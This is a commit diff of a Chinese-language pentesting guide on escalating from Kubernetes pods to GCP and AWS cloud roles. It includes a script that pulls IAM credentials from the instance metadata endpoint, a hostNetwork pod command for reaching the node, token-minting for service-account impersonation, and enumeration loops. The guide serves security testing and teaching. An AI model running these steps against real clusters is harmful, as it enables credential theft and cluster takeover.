Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv

This commit is contained in:
Translator
2025-08-28 18:03:29 +00:00
parent 9562323fda
commit 8bba36e2f5

View File

@@ -4,47 +4,62 @@
## GCP
如果您在 GCP 内运行 k8s 集群,您可能希望集群内的某应用程序能够访问 GCP。有两种常见的方法可以实现这一点
如果你的 k8s 集群运行在 GCP 内,你可能希望集群内运行的某应用访问 GCP。常见的两种做法是
### 将 GCP-SA 密钥挂载为秘密
### 将 GCP-SA keys 挂载为 secret
给予 **kubernetes 应用程序访问 GCP**一种
一种常见的方法来给予 **kubernetes 应用访问 GCP**权限是:
- 创建一个 GCP Service Account
- 为其绑定所需权限
- 下载所创建 SA 的 json key
- 将其作为 secret 挂载到 pod 内
- 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向 json 所在路径。
> [!WARNING]
> 因此,作为一个 **attacker**,如果你攻陷了 pod 内的容器,你应该检查是否存在该 **env** **variable** 以及包含 GCP 凭证的 **json** **files**。
### 将 GSA json 关联到 KSA secret
将 GSA 的访问权限授予 GKE cluster 的一种方式是通过如下绑定:
- 在与您的 GKE cluster 相同的命名空间中创建一个 Kubernetes service account使用以下命令
```bash
Copy codekubectl create serviceaccount <service-account-name>
kubectl create serviceaccount <service-account-name>
```
- 创建一个 Kubernetes Secret包含您要授予 GKE 集群访问权限的 GCP 服务帐户的凭据。您可以使用 `gcloud` 命令行工具完成此操作,如下例所示:
- 创建一个包含你想授予 GKE 集群访问权限的 GCP 服务帐号凭据的 Kubernetes Secret。你可以使用 `gcloud` 命令行工具完成此操作,如下例所示:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- 使用以下命令将 Kubernetes Secret 绑定到 Kubernetes 服务账户:
- 将 Kubernetes Secret 绑定到 Kubernetes service account使用以下命令:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> 在**第二步**中,将**GSA的凭据设置为KSA的秘密**。然后,如果您可以从**GKE**集群的**内部**读取该秘密,您可以**升级到该GCP服务账户**。
> **第二步** 中将 **GSA 的凭证设为 KSA 的 secret**。然后,如果你能从 **GKE** 集群的**内部**读取该 secret你就可以**提升为该 GCP service account**。
### GKE Workload Identity
通过Workload Identity我们可以配置一个[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 作为一个[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。使用Kubernetes服务账户运行的Pods在访问Google Cloud API时将自动作为Google服务账户进行身份验证。
使用 Workload Identity我们可以一个 [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 配置为充当 [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。以该 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 的身份进行认证。
启用此行为的**第一系列步骤**是**在GCP中启用Workload Identity**[**步骤**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)并创建您希望k8s模拟的GCP SA。
The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate.
- 在新集群上**启用Workload Identity**
- **在新集群上启用 Workload Identity**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **创建/更新一个新的节点池** (Autopilot 集群不需要此操作)
- **创建/更新新的 nodepool** (Autopilot clusters 不需要此操作)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- 从 K8s 创建 **GCP 服务账户以进行 impersonate**,并赋予 GCP 权限
- 从 K8s 创建要冒充的 **GCP Service Account** 并授予 GCP 权限:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -65,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **将GSAKSA绑定**
- **将 GSAKSA 绑定**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -77,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- 运行一个 **pod** 使用 **KSA**检查对 **GSA****访问**
- 运行一个 **pod** 使用 **KSA**检查对 **GSA****access**:
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -103,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
检查以下命令以进行身份验证(如有需要)
如有需要,请检查下面用于进行身份验证的命令
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> 作为 K8s 内的攻击者,应该 **搜索 SAs**带有 **`iam.gke.io/gcp-service-account` 注释**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一个选项是尝试滥用集群中的每个 KSA 并检查它是否有访问权限。\
> GCP 开始,枚举绑定并了解 **您在 Kubernetes 内部给予 SAs 的访问权限** 总是很有
> 作为位于 K8s 内的攻击者,应该**搜索带有 `iam.gke.io/gcp-service-account` annotation 的 SAs**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一种选择是尝试滥用集群中的每个 KSA并检查它是否有访问权限。\
> GCP ,枚举 bindings 并了解**你授予 Kubernetes 内 SAs 的访问权限**总是很有价值
这是一个脚本,用于轻松 **遍历所有 pod** 定义 **查找****注释**
这是一个脚本,用于轻松**遍历所有 pods 的定义****查找**该**annotation**
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -124,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
```
## AWS
### Kiam & Kube2IAM (IAM角色用于Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
一种过时的为Pods提供IAM角色的方法是使用一个[**Kiam**](https://github.com/uswitch/kiam)或一个[**Kube2IAM**](https://github.com/jtblin/kube2iam) **服务器。** 基本上,您需要在集群中运行一个带有**特权IAM角色**的**守护进程集**。这个守护进程集将为需要的Pods提供IAM角色的访问权限
给 Pods 分配 IAM Roles 的一种(已过时的)方式是使用 [**Kiam**](https://github.com/uswitch/kiam)[**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** 基本上需要在集群中运行一个带有 **kind of privileged IAM role****daemonset**。这个 daemonset 会负责为需要的 pods 提供IAM roles 的访问。
首先,您需要配置**哪些角色可以在命名空间内访问**,您可以通过在命名空间对象内添加注释来实现
首先需要配置 **which roles can be accessed inside the namespace**,这可以通过在 namespace 对象内添加一个注解完成
```yaml:Kiam
kind: Namespace
metadata:
@@ -146,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
一旦命名空间配置了 IAM 角色Pods 可以拥有的角色,你可以 **在每个 pod 定义中指明你想要的角色,例如**
一旦为 namespace 配置了 Pods 可以拥有的 IAM roles,你可以在每个 pod definition 中**像下面这样指定你想要的 role**
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -156,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 作为攻击者,如果在 pods 或 namespaces 中发现这些注释,或者运行的 kiam/kube2iam 服务器(可能在 kube-system 中),您可以 **冒充每个已经被 pods 使用的角色**以及更多(如果您有访问 AWS 账户的权限,枚举角色)。
> 作为攻击者,如果在 pods 或 namespaces 中 **发现这些注解**,或者发现正在运行的 kiam/kube2iam 服务器(可能在 kube-system),你就可以 **冒充每个角色**,这些角色已经 **被 pods 使用**甚至更多(如果你有对 AWS 账号的访问权限,枚举这些角色)。
#### 创建带 IAM 角色的 Pod
#### 创建带 IAM Role 的 Pod
> [!NOTE]
> 指定的 IAM 角色必须与 kiam/kube2iam 角色在同一个 AWS 账中,并且该角色必须能够访问它。
> 指定的 IAM 角色必须位于与 kiam/kube2iam 角色相同的 AWS 账中,并且该角色必须能够访问它。
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -177,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### 通过 OIDC 为 K8s Service Accounts 的 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
这是 **AWS 推荐的方式**。
1. 首先,您需要 [为集群创建一个 OIDC 提供者](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
2. 然后,您创建一个具有 SA 所需权限的 IAM 角色
3. 创建一个 [IAM 角色与 SA 之间的信任关系](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名称(或命名空间,允许角色访问命名空间中所有 SA)。 _信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称_。
4. 最后,**创建一个带有注释指示角色 ARN 的 SA**运行该 SA 的 pods 将具有 **访问角色的令牌**。**令牌**被 **写入** 文件,路径 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。
1. 首先需要 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
2. 然后创建一个 IAM role并赋予该 SA 所需权限。
3. 创建一个 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)(或为某些 namespace 配置,使该 namespace 下的所有 SA 都能访问该 role。_信任关系主要检查 OIDC provider 名称、namespace 名称和 SA 名称_。
4. 最后,**创建一个带有注释annotation指明该 role ARN 的 SA**并且使用该 SA 运行的 pods 将**访问该 role 的 token**。该 **token** 会**写入**一个文件,路径 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -201,27 +216,27 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
要**使用令牌获取 aws**,请从 `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` 运行:
**从 `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` 获取用于 aws 的 token**运行:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 作为攻击者,如果您可以枚举 K8s 集群,请检查具有 **该注释的服务帐户** 以 **升级到 AWS**。为此,只需 **exec/create** 一个 **pod**,使用其中一个 IAM **特权服务帐户** 并窃取令牌。
> 作为攻击者,如果你能列举一个 K8s cluster请检查是否存在带有该注解的 **service accounts with that annotation** 以便 **escalate to AWS**。要做到这一点,只需使用其中一个带有 IAM 权限的 **privileged service accounts** 来 **exec/create** 一个 **pod** 并窃取令牌。
>
> 此外,如果在 pod 内,检查环境变量,如 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN**。
> 此外,如果在 pod 内,检查 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN** 这样的环境变量
> [!CAUTION]
> 有时角色的 **信任策略** 可能配置不当,而不是将 AssumeRole 访问权限授予预期的服务帐户,而是授予 **所有服务帐户**。因此,如果能够在受控服务帐户上写入注释,您可以访问该角色
> 有时角色的 **Trust Policy** 可能被 **bad configured**,而不是将 **AssumeRole** 的访问权限授予预期的 **service account**,反而授予 **all the service accounts**。因此,如果能够在一个受控的 **service account** 上写入注解,你就能访问该 **role**
>
> 请查看 **以下页面以获取更多信息**
> Check the **following page for more information**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### 查找集群中具有 IAM 角色的 Pods 和 SAs
### 在 Cluster 中查找具有 IAM Roles 的 Pods 和 SAs
这是一个脚本,可以轻松 **遍历所有 pods sas** 定义 **查找** **注释**
这是一个脚本,用来轻松 **iterate over the all the pods and sas** 定义**looking** 那个 **annotation**
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -238,19 +253,26 @@ echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role
### Node IAM Role to cluster-admin
一节讨论了如何通过 pods 取 IAM 角色但请注意K8s 集群的 **节点将是云中的一个实例**。这意味着该节点很可能会 **拥有一个新的 IAM 角色供你盗取**_注意通常 K8s 集群的所有节点将具有相同的 IAM 角色,因此可能不值得尝试检查每个节点_
一节介绍了如何通过 pods 取 IAM Roles但请注意K8s 集群的 **Node** 实际上是云中的一个 **instance**。这意味着该 Node 很可能会**拥有你可以窃取的 IAM role**_注意通常 K8s 集群的所有 nodes 会使用相同的 IAM role所以不一定值得去检查每个 node_
然而要访问节点的元数据端点有一个重要的要求你需要在节点上ssh 会话?)或至少在同一网络中
要访问 node 的 metadata endpoint 你需要
- 位于一个 pod 中,并且 metadata endpoint 被配置为至少 2 个 tcp hops。这个是最常见的错误配置因为通常集群中不同的 pods 需要访问 metadata endpoint 才不会出问题,很多公司就干脆允许集群中所有 pods 访问 metadata endpoint。
- 位于启用了 `hostNetwork` 的 pod 中。
- 逃逸到 node 并直接访问 metadata endpoint。
(注意 metadata endpoint 一直是在 169.254.169.254)。
要**逃逸到 node**,你可以使用下面的命令运行一个启用了 `hostNetwork` 的 pod
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### 偷取 IAM 角色令牌
### Steal IAM Role Token
之前我们讨论如何 **将 IAM 角色附加到 Pods**,甚至如何 **逃逸到节点以偷取实例附加的 IAM 角色**
之前我们讨论如何 **attach IAM Roles to Pods**,甚至如何 **escape to the Node to steal the IAM Role**(从实例上窃取其附加的 IAM Role
可以使用下脚本来 **偷取** 您新辛苦获得的 **IAM 角色凭证**
可以使用下面的脚本来 **steal** 辛苦获得的 **IAM role credentials**
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -261,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
fi
fi
```
### Privesc to cluster-admin
总结:如果可以从 pod 访问 **EKS Node IAM role**,就可能 **compromise the full kubernetes cluster**。
欲了解更多信息,请查看 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)。概括来说,默认分配给 EKS 节点的 IAM 角色在集群内部被映射为 `system:node`。这个角色很有价值,但受限于 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)。
不过node 总是可以 **为在该 node 内运行的 pod 中的服务账户生成令牌**。因此,如果该 node 运行着一个具有特权服务账户的 podnode 可以为该服务账户生成令牌并用它来模拟该服务账户,例如:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## 参考文献
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)